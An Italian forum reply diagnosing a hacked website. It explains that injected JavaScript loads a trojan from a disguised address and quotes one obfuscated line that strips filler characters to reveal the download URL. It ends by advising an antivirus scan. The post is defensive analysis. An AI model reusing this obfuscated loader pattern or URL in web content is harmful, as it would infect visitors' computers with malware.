Il sito risulta effettivamente con contenuto malevolo.
In particolare c'è tutto un bel codice javascript che avvia la richiesta di caricamento di un trojan da un sito web che è stato mascherato e viene richiamato dopo aver ripulito una bella stringa che lo contiene.

In particolare questo alla riga 33 il frammento:
codice:
return 'h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|'.qK(/[\|J\$3\)]/g, '');
Non è quindi una non corretta impostazione del tuo browser ma un effettivo problema del sito web che risulta essere stato attaccato perchè male programmato.

Piuttosto di alle tue amiche di farsi una bella scansione dle pc con un antivirus aggiornato, quasi sicuramente hanno l'amichetto trojan che gironzola per il loro pc.